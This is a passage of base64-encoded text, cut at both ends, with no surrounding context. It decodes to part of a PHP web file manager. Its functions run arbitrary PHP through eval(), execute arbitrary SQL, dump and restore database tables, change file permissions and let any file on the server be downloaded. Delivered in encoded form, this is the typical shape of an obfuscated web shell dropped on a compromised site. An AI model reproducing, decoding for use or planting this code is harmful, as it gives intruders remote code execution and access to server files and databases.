cnRyKCRtb2RlLCR0cmFucyk7XHJcblx0JG5ld21vZGUgPSAnMCc7XHJcblx0JG93bmVyID0gKGludCkgJG1vZGVbMF0gKyAoaW50KSAkbW9kZVsxXSArIChpbnQpICRtb2RlWzJdOyBcclxuXHQkZ3JvdXAgPSAoaW50KSAkbW9kZVszXSArIChpbnQpICRtb2RlWzRdICsgKGludCkgJG1vZGVbNV07IFxyXG5cdCR3b3JsZCA9IChpbnQpICRtb2RlWzZdICsgKGludCkgJG1vZGVbN10gKyAoaW50KSAkbW9kZVs4XTsgXHJcblx0JG5ld21vZGUgLj0gJG93bmVyIC4gJGdyb3VwIC4gJHdvcmxkO1xyXG5cdHJldHVybiBpbnR2YWwoJG5ld21vZGUsIDgpO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9jaG1vZCgkZmlsZSwgJHZhbCwgJHJlYyA9IGZhbHNlKSB7XHJcblx0JHJlcyA9IEBjaG1vZChyZWFscGF0aCgkZmlsZSksICR2YWwpO1xyXG5cdGlmKEBpc19kaXIoJGZpbGUpICYmICRyZWMpe1xyXG5cdFx0JGVscyA9IGZtX3NjYW5fZGlyKCRmaWxlKTtcclxuXHRcdGZvcmVhY2ggKCRlbHMgYXMgJGVsKSB7XHJcblx0XHRcdCRyZXMgPSAkcmVzICYmIGZtX2NobW9kKCRmaWxlIC4gJ1wvJyAuICRlbCwgJHZhbCwgdHJ1ZSk7XHJcblx0XHR9XHJcblx0fVxyXG5cdHJldHVybiAkcmVzO1xyXG59XHJcblxyXG5cL1wvbG9hZCBmaWxlc1xyXG5mdW5jdGlvbiBmbV9kb3dubG9hZCgkZmlsZV9uYW1lKSB7XHJcbiAgICBpZiAoIWVtcHR5KCRmaWxlX25hbWUpKSB7XHJcblx0XHRpZiAoZmlsZV9leGlzdHMoJGZpbGVfbmFtZSkpIHtcclxuXHRcdFx0aGVhZGVyKFwiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIgLiBiYXNlbmFtZSgkZmlsZV9uYW1lKSk7ICAgXHJcblx0XHRcdGhlYWRlcihcIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb25cL2ZvcmNlLWRvd25sb2FkXCIpO1xyXG5cdFx0XHRoZWFkZXIoXCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uXC9vY3RldC1zdHJlYW1cIik7XHJcblx0XHRcdGhlYWRlcihcIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb25cL2Rvd25sb2FkXCIpO1xyXG5cdFx0XHRoZWFkZXIoXCJDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyXCIpOyAgICAgICAgICAgIFxyXG5cdFx0XHRoZWFkZXIoXCJDb250ZW50LUxlbmd0aDogXCIgLiBmaWxlc2l6ZSgkZmlsZV9uYW1lKSk7XHRcdFxyXG5cdFx0XHRmbHVzaCgpOyBcL1wvIHRoaXMgZG9lc24ndCByZWFsbHkgbWF0dGVyLlxyXG5cdFx0XHQkZnAgPSBmb3BlbigkZmlsZV9uYW1lLCBcInJcIik7XHJcblx0XHRcdHdoaWxlICghZmVvZigkZnApKSB7XHJcblx0XHRcdFx0ZWNobyBmcmVhZCgkZnAsIDY1NTM2KTtcclxuXHRcdFx0XHRmbHVzaCgpOyBcL1wvIHRoaXMgaXMgZXNzZW50aWFsIGZvciBsYXJnZSBkb3dubG9hZHNcclxuXHRcdFx0fSBcclxuXHRcdFx0ZmNsb3NlKCRmcCk7XHJcblx0XHRcdGRpZSgpO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0aGVhZGVyKCdIVFRQXC8xLjAgNDA0IE5vdCBGb3VuZCcsIHRydWUsIDQwNCk7XHJcblx0XHRcdGhlYWRlcignU3RhdHVzOiA0MDQgTm90IEZvdW5kJyk7IFxyXG5cdFx0XHRkaWUoKTtcclxuICAgICAgICB9XHJcbiAgICB9IFxyXG59XHJcblxyXG5cL1wvc2hvdyBmb2xkZXIgc2l6ZVxyXG5mdW5jdGlvbiBmbV9kaXJfc2l6ZSgkZiwkZm9ybWF0PXRydWUpIHtcclxuXHRpZigkZm9ybWF0KSAge1xyXG5cdFx0JHNpemU9Zm1fZGlyX3NpemUoJGYsZmFsc2UpO1xyXG5cdFx0aWYoJHNpemU8PTEwMjQpIHJldHVybiAkc2l6ZS4nIGJ5dGVzJztcclxuXHRcdGVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemVcLygxMDI0KSwyKS4nJm5ic3A7S2InO1xyXG5cdFx0ZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCkgcmV0dXJuIHJvdW5kKCRzaXplXC8oMTAyNCoxMDI0KSwyKS4nJm5ic3A7TWInO1xyXG5cdFx0ZWxzZWlmKCRzaXplPD0xMDI0KjEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemVcLygxMDI0KjEwMjQqMTAyNCksMikuJyZuYnNwO0diJztcclxuXHRcdGVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KjEwMjQqMTAyNCoxMDI0KSByZXR1cm4gcm91bmQoJHNpemVcLygxMDI0KjEwMjQqMTAyNCoxMDI0KSwyKS4nJm5ic3A7VGInOyBcL1wvOikpKVxyXG5cdFx0ZWxzZSByZXR1cm4gcm91bmQoJHNpemVcLygxMDI0KjEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmbmJzcDtQYic7IFwvXC8gOy0pXHJcblx0fSBlbHNlIHtcclxuXHRcdGlmKGlzX2ZpbGUoJGYpKSByZXR1cm4gZmlsZXNpemUoJGYpO1xyXG5cdFx0JHNpemU9MDtcclxuXHRcdCRkaD1vcGVuZGlyKCRmKTtcclxuXHRcdHdoaWxlKCgkZmlsZT1yZWFkZGlyKCRkaCkpIT09ZmFsc2UpIHtcclxuXHRcdFx0aWYoJGZpbGU9PScuJyB8fCAkZmlsZT09Jy4uJykgY29udGludWU7XHJcblx0XHRcdGlmKGlzX2ZpbGUoJGYuJ1wvJy4kZmlsZSkpICRzaXplKz1maWxlc2l6ZSgkZi4nXC8nLiRmaWxlKTtcclxuXHRcdFx0ZWxzZSAkc2l6ZSs9Zm1fZGlyX3NpemUoJGYuJ1wvJy4kZmlsZSxmYWxzZSk7XHJcblx0XHR9XHJcblx0XHRjbG9zZWRpcigkZGgpO1xyXG5cdFx0cmV0dXJuICRzaXplK2ZpbGVzaXplKCRmKTsgXHJcblx0fVxyXG59XHJcblxyXG5cL1wvc2NhbiBkaXJlY3RvcnlcclxuZnVuY3Rpb24gZm1fc2Nhbl9kaXIoJGRpcmVjdG9yeSwgJGV4cCA9ICcnLCAkdHlwZSA9ICdhbGwnLCAkZG9fbm90X2ZpbHRlciA9IGZhbHNlKSB7XHJcblx0JGRpciA9ICRuZGlyID0gYXJyYXkoKTtcclxuXHRpZighZW1wdHkoJGV4cCkpe1xyXG5cdFx0JGV4cCA9ICdcL14nIC4gc3RyX3JlcGxhY2UoJyonLCAnKC4qKScsIHN0cl9yZXBsYWNlKCcuJywgJ1xcXFwuJywgJGV4cCkpIC4gJyRcLyc7XHJcblx0fVxyXG5cdGlmKCFlbXB0eSgkdHlwZSkgJiYgJHR5cGUgIT09ICdhbGwnKXtcclxuXHRcdCRmdW5jID0gJ2lzXycgLiAkdHlwZTtcclxuXHR9XHJcblx0aWYoQGlzX2RpcigkZGlyZWN0b3J5KSl7XHJcblx0XHQkZmggPSBvcGVuZGlyKCRkaXJlY3RvcnkpO1xyXG5cdFx0d2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZmgpKSkge1xyXG5cdFx0XHRpZihzdWJzdHIoJGZpbGVuYW1lLCAwLCAxKSAhPSAnLicgfHwgJGRvX25vdF9maWx0ZXIpIHtcclxuXHRcdFx0XHRpZigoZW1wdHkoJHR5cGUpIHx8ICR0eXBlID09ICdhbGwnIHx8ICRmdW5jKCRkaXJlY3RvcnkgLiAnXC8nIC4gJGZpbGVuYW1lKSkgJiYgKGVtcHR5KCRleHApIHx8IHByZWdfbWF0Y2goJGV4cCwgJGZpbGVuYW1lKSkpe1xyXG5cdFx0XHRcdFx0JGRpcltdID0gJGZpbGVuYW1lO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cdFx0Y2xvc2VkaXIoJGZoKTtcclxuXHRcdG5hdHNvcnQoJGRpcik7XHJcblx0fVxyXG5cdHJldHVybiAkZGlyO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9saW5rKCRnZXQsJGxpbmssJG5hbWUsJHRpdGxlPScnKSB7XHJcblx0aWYgKGVtcHR5KCR0aXRsZSkpICR0aXRsZT0kbmFtZS4nICcuYmFzZW5hbWUoJGxpbmspO1xyXG5cdHJldHVybiAnJm5ic3A7Jm5ic3A7PGEgaHJlZj1cIj8nLiRnZXQuJz0nLmJhc2U2NF9lbmNvZGUoJGxpbmspLidcIiB0aXRsZT1cIicuJHRpdGxlLidcIj4nLiRuYW1lLic8XC9hPic7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX2Fycl90b19vcHRpb24oJGFyciwkbiwkc2VsPScnKXtcclxuXHRmb3JlYWNoKCRhcnIgYXMgJHYpe1xyXG5cdFx0JGI9JHZbJG5dO1xyXG5cdFx0JHJlcy49JzxvcHRpb24gdmFsdWU9XCInLiRiLidcIiAnLigkc2VsICYmICRzZWw9PSRiPydzZWxlY3RlZCc6JycpLic+Jy4kYi4nPFwvb3B0aW9uPic7XHJcblx0fVxyXG5cdHJldHVybiAkcmVzO1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9sYW5nX2Zvcm0gKCRjdXJyZW50PSdlbicpe1xyXG5yZXR1cm4gJ1xyXG48Zm9ybSBuYW1lPVwiY2hhbmdlX2xhbmdcIiBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI+XHJcblx0PHNlbGVjdCBuYW1lPVwiZm1fbGFuZ1wiIHRpdGxlPVwiJy5fXygnTGFuZ3VhZ2UnKS4nXCIgb25jaGFuZ2U9XCJkb2N1bWVudC5mb3Jtc1tcXCdjaGFuZ2VfbGFuZ1xcJ10uc3VibWl0KClcIiA+XHJcblx0XHQ8b3B0aW9uIHZhbHVlPVwiZW5cIiAnLigkY3VycmVudD09J2VuJz8nc2VsZWN0ZWQ9XCJzZWxlY3RlZFwiICc6JycpLic+Jy5fXygnRW5nbGlzaCcpLic8XC9vcHRpb24+XHJcblx0XHQ8b3B0aW9uIHZhbHVlPVwiZGVcIiAnLigkY3VycmVudD09J2RlJz8nc2VsZWN0ZWQ9XCJzZWxlY3RlZFwiICc6JycpLic+Jy5fXygnR2VybWFuJykuJzxcL29wdGlvbj5cclxuXHRcdDxvcHRpb24gdmFsdWU9XCJydVwiICcuKCRjdXJyZW50PT0ncnUnPydzZWxlY3RlZD1cInNlbGVjdGVkXCIgJzonJykuJz4nLl9fKCdSdXNzaWFuJykuJzxcL29wdGlvbj5cclxuXHRcdDxvcHRpb24gdmFsdWU9XCJmclwiICcuKCRjdXJyZW50PT0nZnInPydzZWxlY3RlZD1cInNlbGVjdGVkXCIgJzonJykuJz4nLl9fKCdGcmVuY2gnKS4nPFwvb3B0aW9uPlxyXG5cdFx0PG9wdGlvbiB2YWx1ZT1cInVrXCIgJy4oJGN1cnJlbnQ9PSd1ayc/J3NlbGVjdGVkPVwic2VsZWN0ZWRcIiAnOicnKS4nPicuX18oJ1VrcmFpbmlhbicpLic8XC9vcHRpb24+XHJcblx0PFwvc2VsZWN0PlxyXG48XC9mb3JtPlxyXG4nO1xyXG59XHJcblx0XHJcbmZ1bmN0aW9uIGZtX3Jvb3QoJGRpcm5hbWUpe1xyXG5cdHJldHVybiAoJGRpcm5hbWU9PScuJyBPUiAkZGlybmFtZT09Jy4uJyk7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX3BocCgkc3RyaW5nKXtcclxuXHQkZGlzcGxheV9lcnJvcnM9aW5pX2dldCgnZGlzcGxheV9lcnJvcnMnKTtcclxuXHRpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsICcxJyk7XHJcblx0b2Jfc3RhcnQoKTtcclxuXHRldmFsKHRyaW0oJHN0cmluZykpO1xyXG5cdCR0ZXh0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7XHJcblx0b2JfZW5kX2NsZWFuKCk7XHJcblx0aW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAkZGlzcGxheV9lcnJvcnMpO1xyXG5cdHJldHVybiAkdGV4dDtcclxufVxyXG5cclxuXC9cL1NIT1cgREFUQUJBU0VTXHJcbmZ1bmN0aW9uIGZtX3NxbF9jb25uZWN0KCl7XHJcblx0Z2xvYmFsICRmbV9jb25maWc7XHJcblx0cmV0dXJuIG5ldyBteXNxbGkoJGZtX2NvbmZpZ1snc3FsX3NlcnZlciddLCAkZm1fY29uZmlnWydzcWxfdXNlcm5hbWUnXSwgJGZtX2NvbmZpZ1snc3FsX3Bhc3N3b3JkJ10sICRmbV9jb25maWdbJ3NxbF9kYiddKTtcclxufVxyXG5cclxuZnVuY3Rpb24gZm1fc3FsKCRxdWVyeSl7XHJcblx0Z2xvYmFsICRmbV9jb25maWc7XHJcblx0JHF1ZXJ5PXRyaW0oJHF1ZXJ5KTtcclxuXHRvYl9zdGFydCgpO1xyXG5cdCRjb25uZWN0aW9uID0gZm1fc3FsX2Nvbm5lY3QoKTtcclxuXHRpZiAoJGNvbm5lY3Rpb24tPmNvbm5lY3RfZXJyb3IpIHtcclxuXHRcdG9iX2VuZF9jbGVhbigpO1x0XHJcblx0XHRyZXR1cm4gJGNvbm5lY3Rpb24tPmNvbm5lY3RfZXJyb3I7XHJcblx0fVxyXG5cdCRjb25uZWN0aW9uLT5zZXRfY2hhcnNldCgndXRmOCcpO1xyXG4gICAgJHF1ZXJpZWQgPSBteXNxbGlfcXVlcnkoJGNvbm5lY3Rpb24sJHF1ZXJ5KTtcclxuXHRpZiAoJHF1ZXJpZWQ9PT1mYWxzZSkge1xyXG5cdFx0b2JfZW5kX2NsZWFuKCk7XHRcclxuXHRcdHJldHVybiBteXNxbGlfZXJyb3IoJGNvbm5lY3Rpb24pO1xyXG4gICAgfSBlbHNlIHtcclxuXHRcdGlmKCFlbXB0eSgkcXVlcmllZCkpe1xyXG5cdFx0XHR3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRxdWVyaWVkKSkge1xyXG5cdFx0XHRcdCRxdWVyeV9yZXN1bHRbXT0gICRyb3c7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHRcdCR2ZHVtcD1lbXB0eSgkcXVlcnlfcmVzdWx0KT8nJzp2YXJfZXhwb3J0KCRxdWVyeV9yZXN1bHQsdHJ1ZSk7XHRcclxuXHRcdG9iX2VuZF9jbGVhbigpO1x0XHJcblx0XHQkY29ubmVjdGlvbi0+Y2xvc2UoKTtcclxuXHRcdHJldHVybiAnPHByZT4nLnN0cmlwc2xhc2hlcygkdmR1bXApLic8XC9wcmU+JztcclxuXHR9XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX2JhY2t1cF90YWJsZXMoJHRhYmxlcyA9ICcqJywgJGZ1bGxfYmFja3VwID0gdHJ1ZSkge1xyXG5cdGdsb2JhbCAkcGF0aDtcclxuXHQkbXlzcWxkYiA9IGZtX3NxbF9jb25uZWN0KCk7XHJcblx0JGRlbGltaXRlciA9IFwiOyBcXG4gIFxcblwiO1xyXG5cdGlmKCR0YWJsZXMgPT0gJyonKVx0e1xyXG5cdFx0JHRhYmxlcyA9IGFycmF5KCk7XHJcblx0XHQkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCdTSE9XIFRBQkxFUycpO1xyXG5cdFx0d2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpXHR7XHJcblx0XHRcdCR0YWJsZXNbXSA9ICRyb3dbMF07XHJcblx0XHR9XHJcblx0fSBlbHNlIHtcclxuXHRcdCR0YWJsZXMgPSBpc19hcnJheSgkdGFibGVzKSA/ICR0YWJsZXMgOiBleHBsb2RlKCcsJywkdGFibGVzKTtcclxuXHR9XHJcbiAgICBcclxuXHQkcmV0dXJuPScnO1xyXG5cdGZvcmVhY2goJHRhYmxlcyBhcyAkdGFibGUpXHR7XHJcblx0XHQkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTtcclxuXHRcdCRudW1fZmllbGRzID0gbXlzcWxpX251bV9maWVsZHMoJHJlc3VsdCk7XHJcblx0XHQkcmV0dXJuLj0gJ0RST1AgVEFCTEUgSUYgRVhJU1RTIGAnLiR0YWJsZS4nYCcuJGRlbGltaXRlcjtcclxuXHRcdCRyb3cyID0gbXlzcWxpX2ZldGNoX3JvdygkbXlzcWxkYi0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFICcuJHRhYmxlKSk7XHJcblx0XHQkcmV0dXJuLj0kcm93MlsxXS4kZGVsaW1pdGVyO1xyXG4gICAgICAgIGlmICgkZnVsbF9iYWNrdXApIHtcclxuXHRcdGZvciAoJGkgPSAwOyAkaSA8ICRudW1fZmllbGRzOyAkaSsrKSAge1xyXG5cdFx0XHR3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkge1xyXG5cdFx0XHRcdCRyZXR1cm4uPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIFZBTFVFUygnO1xyXG5cdFx0XHRcdGZvcigkaj0wOyAkajwkbnVtX2ZpZWxkczsgJGorKylcdHtcclxuXHRcdFx0XHRcdCRyb3dbJGpdID0gYWRkc2xhc2hlcygkcm93WyRqXSk7XHJcblx0XHRcdFx0XHQkcm93WyRqXSA9IHN0cl9yZXBsYWNlKFwiXFxuXCIsXCJcXFxcblwiLCRyb3dbJGpdKTtcclxuXHRcdFx0XHRcdGlmIChpc3NldCgkcm93WyRqXSkpIHsgJHJldHVybi49ICdcIicuJHJvd1skal0uJ1wiJyA7IH0gZWxzZSB7ICRyZXR1cm4uPSAnXCJcIic7IH1cclxuXHRcdFx0XHRcdGlmICgkajwoJG51bV9maWVsZHMtMSkpIHsgJHJldHVybi49ICcsJzsgfVxyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHQkcmV0dXJuLj0gJyknLiRkZWxpbWl0ZXI7XHJcblx0XHRcdH1cclxuXHRcdCAgfVxyXG5cdFx0fSBlbHNlIHsgXHJcblx0XHQkcmV0dXJuID0gcHJlZ19yZXBsYWNlKFwiI0FVVE9fSU5DUkVNRU5UPVtcXGRdKyAjaXNcIiwgJycsICRyZXR1cm4pO1xyXG5cdFx0fVxyXG5cdFx0JHJldHVybi49XCJcXG5cXG5cXG5cIjtcclxuXHR9XHJcblxyXG5cdFwvXC9zYXZlIGZpbGVcclxuICAgICRmaWxlPWdtZGF0ZShcIlktbS1kX0gtaS1zXCIsdGltZSgpKS4nLnNxbCc7XHJcblx0JGhhbmRsZSA9IGZvcGVuKCRmaWxlLCd3KycpO1xyXG5cdGZ3cml0ZSgkaGFuZGxlLCRyZXR1cm4pO1xyXG5cdGZjbG9zZSgkaGFuZGxlKTtcclxuXHQkYWxlcnQgPSAnb25DbGljaz1cImlmKGNvbmZpcm0oXFwnJy4gX18oJ0ZpbGUgc2VsZWN0ZWQnKS4nOiBcXG4nLiAkZmlsZS4gJy4gXFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/JykgLiAnXFwnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFxcJz9kZWxldGU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXFwnXCInO1xyXG4gICAgcmV0dXJuICRmaWxlLic6ICcuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRmaWxlLF9fKCdEb3dubG9hZCcpLF9fKCdEb3dubG9hZCcpLicgJy4kZmlsZSkuJyA8YSBocmVmPVwiI1wiIHRpdGxlPVwiJyAuIF9fKCdEZWxldGUnKSAuICcgJy4gJGZpbGUgLiAnXCIgJyAuICRhbGVydCAuICc+JyAuIF9fKCdEZWxldGUnKSAuICc8XC9hPic7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX3Jlc3RvcmVfdGFibGVzKCRzcWxGaWxlVG9FeGVjdXRlKSB7XHJcblx0JG15c3FsZGIgPSBmbV9zcWxfY29ubmVjdCgpO1xyXG5cdCRkZWxpbWl0ZXIgPSBcIjsgXFxuICBcXG5cIjtcclxuICAgIFwvXC8gTG9hZCBhbmQgZXhwbG9kZSB0aGUgc3FsIGZpbGVcclxuICAgICRmID0gZm9wZW4oJHNxbEZpbGVUb0V4ZWN1dGUsXCJyK1wiKTtcclxuICAgICRzcWxGaWxlID0gZnJlYWQoJGYsZmlsZXNpemUoJHNxbEZpbGVUb0V4ZWN1dGUpKTtcclxuICAgICRzcWxBcnJheSA9IGV4cGxvZGUoJGRlbGltaXRlciwkc3FsRmlsZSk7XHJcblx0XHJcbiAgICBcL1wvUHJvY2VzcyB0aGUgc3FsIGZpbGUgYnkgc3RhdGVtZW50c1xyXG4gICAgZm9yZWFjaCAoJHNxbEFycmF5IGFzICRzdG10KSB7XHJcbiAgICAgICAgaWYgKHN0cmxlbigkc3RtdCk+Myl7XHJcblx0XHRcdCRyZXN1bHQgPSAkbXlzcWxkYi0+cXVlcnkoJHN0bXQpO1xyXG5cdFx0XHRcdGlmICghJHJlc3VsdCl7XHJcblx0XHRcdFx0XHQkc3FsRXJyb3JDb2RlID0gbXlzcWxpX2Vycm5vKCRteXNxbGRiLT5jb25uZWN0aW9uKTtcclxuXHRcdFx0XHRcdCRzcWxFcnJvclRleHQgPSBteXNxbGlfZXJyb3IoJG15c3FsZGItPmNvbm5lY3Rpb24pO1xyXG5cdFx0XHRcdFx0JHNxbFN0bXQgICAgICA9ICRzdG10O1xyXG5cdFx0XHRcdFx0YnJlYWs7XHJcbiAgICAgICAgICAgXHQgICAgIH1cclxuICAgICAgICAgICBcdCAgfVxyXG4gICAgICAgICAgIH1cclxuaWYgKGVtcHR5KCRzcWxFcnJvckNvZGUpKSByZXR1cm4gX18oJ1N1Y2Nlc3MnKS4nIFx1MjAxNCAnLiRzcWxGaWxlVG9FeGVjdXRlO1xyXG5lbHNlIHJldHVybiAkc3FsRXJyb3JUZXh0Lic8YnJcLz4nLiRzdG10O1xyXG59XHJcblxyXG5mdW5jdGlvbiBmbV9pbWdfbGluaygkZmlsZW5hbWUpe1xyXG5cdHJldHVybiAnLlwvJy5iYXNlbmFtZShfX0ZJTEVfXykuJz9pbWc9Jy5iYXNlNjRfZW5jb2RlKCRmaWxlbmFtZSk7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX2hvbWVfc3R5bGUoKXtcclxuXHRyZXR1cm4gJ1xyXG5pbnB1dCwgaW5wdXQuZm1faW5wdXQge1xyXG5cdHRleHQtaW5kZW50OiAycHg7XHJcbn1cclxuXHJcbmlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0LCBpbnB1dC5mbV9pbnB1dCB7XHJcblx0Y29sb3I6IGJsYWNrO1xyXG5cdGZvbnQ6IG5vcm1hbCA4cHQgVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjtcclxuXHRib3JkZXItY29sb3I6IGJsYWNrO1xyXG5cdGJhY2tncm91bmQtY29sb3I6ICNGQ0ZDRkMgbm9uZSAhaW1wb3J0YW50O1xyXG5cdGJvcmRlci1yYWRpdXM6IDA7XHJcblx0cGFkZGluZzogMnB4O1xyXG59XHJcblxyXG5pbnB1dC5mbV9pbnB1dCB7XHJcblx0YmFja2dyb3VuZDogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7XHJcblx0Y3Vyc29yOiBwb2ludGVyO1xyXG59XHJcblxyXG4uaG9tZSB7XHJcblx0YmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBTUFBQUFvTFE5VEFBQUFCR2RCVFVFQUFLXC9JTndXSzZRQUFBZ1JRVEZSRlwvZjM5Nk9qb1wvXC9cL1wvdFQwMnpyK2Z3NjZSdGo0MzJURXAzTVhFMkRBcjNUWXAxeTRtdER3MlwvN0JNXC83Qk9xVnBjXC84bDMxamNxcTZlbndjSEIyVGdpNWpncVZwYkZ2cmEybkJBVlwvUHo4MlMwam54MFczVFVrcVNnaTRlSGg0VHNyZTR3b3N6MDI2dVBqekdZZDZVczN5bkF5ZFVCQTVLbDNmbTVlcVphVzdPRGdpMlZnK1BqNHVZK0V3TG01Ylk5VVwvXC83amZMdEMrdE9LM2pjbVwvNzF1MmpZbzFVWWg1YUpsXC9zZUMzakVtMTJrbUpySUExak1tXC85YVU0TGgwZTAxQmxJYUVcL1wvXC9kaE1kQzdJQVwvXC9mVFoyYzNNVzZuTjMwd2Y5NVZkNEpkWG9YVm9zOG5FNGVmTlwvKzYzSUpnU25ZaGw3RjRjc1h0ODlHUVV3TCtcL2psMWM0MUFxK2ZiMmdtdEkxckthMkM0a0phSUEzallybFR3NXRqNDIzalluM2NYRTF6UW94TUhCcDFsWjNEZ21xaWtzXC8rbWNqTEs4M2pZa3ltTVYzVFlrXC9cL0hNK3U3V2htdHIwb2RUcGFPamZXSmZySHBnXC84QnNcLzd0V1wvN1ZlKzRVNTJETW0zTUxCbjRxTGdOVk02TXpCM2xFZmxJdUxcLytqQVwvXC9cLzIwTE96alh4OFwvN2xiV3BKRzJDOGszVG9zSktNQTF5d2pvcE9SMXpZcDVEc3BpYXkreUtOaHFLU2s4Tlc2XC9mam5zN096MnRuWnV6ODg3YitXM2FSWVwvK21zNHJDRTNUb3Q3Vjg1Ykt4anVFQTN3NDVWaDV1aHE2YW00Y0Z4Z1paV1wvOXFJdXdnS3kwc1crdWpUNFRRbnR6NDIzQzhpM3pValwvK0t3XC9hNWQ2VU14dUw2d3pERXJcL1wvXC9cL2NxSlFmQUFBQUt4MFVrNVRcL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9cL1wvXC9BQVdWRmJFQUFBQVpkRVZZZEZOdlpuUjNZWEpsQUVGa2IySmxJRWx0WVdkbFVtVmhaSGx4eVdVOEFBQUEyVWxFUVZRb1UyTllqUVlZc0FpRThVOVl6RFlqVnBHWlJ4TWlFQ2l0TXJWWnZvTXJUbFEyRVNSUUoyRlZ3aW5ZYm1xVFVMb29obkUxZzFhS0dTXC9mTk10azQweVo5S1ZMUWhnWWt1WTdOeFF2WHlIVkZObkt6UjY5cXB4QlBNZXowRVRBUXlUVXZTb2dhSUZhUGNOcVZcL001ZGhhMlJsMlRpbWI2WitRQkRZMVhOXC9TYnU4eEZMRzNlTERmbDJVQUJqaWxPMW8wMTJaM2VrMWxaVklXQUFtVVRLNkwwczNwWCtqajZwdVoyQXdXVXZCUmFwaHN3TWRVdWpDaXdEd2E1VkVkUEk3eW5VbGM3djFxWVVSTHF1ZjQyaHo0NUNCUER0d0FDcm0rUkRjeEpZQUFBQUFCSlJVNUVya0pnZ2c9PVwiKTtcclxuXHRiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xyXG59JztcclxufVxyXG5cclxuZnVuY3Rpb24gZm1fY29uZmlnX2NoZWNrYm94X3JvdygkbmFtZSwkdmFsdWUpIHtcclxuXHRnbG9iYWwgJGZtX2NvbmZpZztcclxuXHRyZXR1cm4gJzx0cj48dGQgY2xhc3M9XCJyb3cxXCI+PGlucHV0IGlkPVwiZm1fY29uZmlnXycuJHZhbHVlLidcIiBuYW1lPVwiZm1fY29uZmlnWycuJHZhbHVlLiddXCIgdmFsdWU9XCIxXCIgJy4oZW1wdHkoJGZtX2NvbmZpZ1skdmFsdWVdKT8nJzonY2hlY2tlZD1cInRydWVcIicpLicgdHlwZT1cImNoZWNrYm94XCI+PFwvdGQ+PHRkIGNsYXNzPVwicm93MiB3aG9sZVwiPjxsYWJlbCBmb3I9XCJmbV9jb25maWdfJy4kdmFsdWUuJ1wiPicuJG5hbWUuJzxcL3RkPjxcL3RyPic7XHJcbn1cclxuXHJcbmZ1bmN0aW9uIGZtX3Byb3RvY29sKCkge1xyXG5cdGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9TQ0hFTUUnXSkpIHJldH